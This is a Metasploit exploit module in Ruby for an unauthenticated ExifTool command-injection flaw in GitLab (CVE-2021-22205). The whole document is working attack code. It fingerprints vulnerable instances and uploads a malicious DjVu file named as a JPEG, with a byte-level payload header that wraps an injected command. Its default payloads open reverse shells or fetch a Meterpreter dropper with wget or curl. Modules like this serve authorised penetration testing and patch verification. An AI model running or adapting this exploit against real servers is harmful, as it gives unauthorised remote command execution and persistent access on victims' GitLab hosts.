## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'GitLab Unauthenticated Remote ExifTool Command Injection', 'Description' => %q{ This module exploits an unauthenticated file upload and command injection vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6, and 13.8.8. Exploitation will result in command execution as the git user. }, 'License' => MSF_LICENSE, 'Author' => [ 'William Bowling', # Vulnerability discovery and CVE-2021-22204 PoC 'jbaines-r7' # Metasploit module ], 'References' => [ [ 'CVE', '2021-22205' ], # GitLab [ 'CVE', '2021-22204' ], # ExifTool [ 'URL', 'https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/' ], [ 'URL', 'https://hackerone.com/reports/1154542' ], [ 'URL', 'https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis' ], [ 'URL', 'https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/' ] ], 'DisclosureDate' => '2021-04-14', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'Payload' => { 'Space' => 290, 'DisableNops' => true, 'BadChars' => '#' }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'wget', 'lwprequest', 'curl', 'printf' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'MeterpreterTryToFork' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def upload_file(file_data, timeout = 20) random_filename = "#{rand_text_alphanumeric(6..12)}.jpg" multipart_form = Rex::MIME::Message.new multipart_form.add_part( file_data, 'image/jpeg', 'binary', "form-data; name=\"file\"; filename=\"#{random_filename}\"" ) random_uri = normalize_uri(target_uri.path, rand_text_alphanumeric(6..12)) print_status("Uploading #{random_filename} to #{random_uri}") send_request_cgi({ 'method' => 'POST', 'uri' => random_uri, 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}", 'data' => multipart_form.to_s }, timeout) end def check # Checks if the instance is a GitLab install by looking for the # 'About GitLab' footer or a password redirect. If that's successful # a bogus jpg image is uploaded to a bogus URI. The patched versions # should never send the bad image to ExifTool, resulting in a 404. # The unpatched versions should feed the image to the vulnerable # ExifTool, resulting in a 422 error message. res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/users/sign_in') }) unless res return CheckCode::Unknown('Target did not respond to check.') end # handle two cases. First a normal install will respond with HTTP 200. # Second, if the root password hasn't been set yet then this will # redirect to the password reset page. unless (res.code == 200 && res.body.include?('>About GitLab<')) || (res.code == 302 && res.body.include?('/users/password/edit?reset_password_token')) return CheckCode::Safe('Not a GitLab web interface') end res = upload_file(rand_text_alphanumeric(6..32)) unless res return CheckCode::Detected('The target did not respond to the upload request.') end case res.code when 422 if res.body.include?('The change you requested was rejected.') return CheckCode::Vulnerable('The error response indicates ExifTool was executed.') end when 404 if res.body.include?('The page could not be found') return CheckCode::Safe('The error response indicates ExifTool was not run.') end end return CheckCode::Detected end def execute_command(cmd, _opts = {}) # printf needs all '\' to be double escaped due to ExifTool parsing if cmd.start_with?('printf ') cmd = cmd.gsub('\\', '\\\\\\') end # header and trailer are taken from William Bowling's echo_vakzz.jpg from their original h1 disclosure. # The 'cmd' variable is sandwiched in a qx## function. payload_header = "AT&TFORM\x00\x00\x03\xAFDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00"\ "\x00\xAC\xFF\xFF\xDE\xBF\x99 !\xC8\x91N\xEB\f\a\x1F\xD2\xDA\x88\xE8k\xE6D\x0F,q\x02\xEEI\xD3n"\ "\x95\xBD\xA2\xC3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\b\x00\b\x18\x00d\x00\x16\x00IN"\ "CL\x00\x00\x00\x0Fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\b\x00\b\x8A\xE6\xE1"\ "\xB17\xD9\x7F*\x89\x00BG44\x00\x00\x00\x04\x01\x0F\xF9\x9FBG44\x00\x00\x00\x02\x02\nFORM\x00\x00"\ "\x03\aDJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx#" payload_trailer = "# . \\\x0a\" b \") )" + (' ' * 421) res = upload_file(payload_header + cmd + payload_trailer, 5) # Successful exploitation can result in no response (connection being held open by a reverse shell) # or, if the command executes immediately, a response with a 422. if res && res.code != 422 fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.") end print_good('Exploit successfully executed.') end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper # payload is truncated by exiftool after 290 bytes. Because we need to # expand the printf flavor by a potential factor of 2, halve the linemax. execute_cmdstager(linemax: 144) end end end